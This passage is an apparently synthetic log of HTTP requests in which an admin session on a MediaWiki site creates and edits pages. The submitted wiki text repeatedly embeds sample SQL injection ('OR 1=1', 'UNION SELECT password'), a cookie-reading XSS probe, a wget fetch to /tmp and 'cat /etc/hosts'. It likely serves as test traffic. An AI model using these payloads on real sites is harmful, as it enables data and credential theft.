name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE--\r\n"}
{"method": "GET", "target": "/wiki/Ls_-la_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision10=created; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 285", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=10&text=%3D%3D+Install+%3D%3D%0ARun+ls+-la+and+ls+-la.%0A&token=8fac1bdf706f6473175c200445103a4f6af2267e%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 293", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+ls+-la&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=10&stashedtexthash=f07484bed3f5b98cd35dde3b0bd6cdf21f92e3a9&token=8fac1bdf706f6473175c200445103a4f6af2267e%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2117", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3GpLRJRpxgavKDbi", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200102\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n10\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n10\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun ls -la and ls -la.\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ ls -la\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n8fac1bdf706f6473175c200445103a4f6af2267e+\\\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi--\r\n"}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Ls+-la+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=ls+-la&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Ls+-la+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+ls+-la.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=ls&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1673", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 323", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3220", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLoHFNq5gnNDYTlcP", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP--\r\n"}
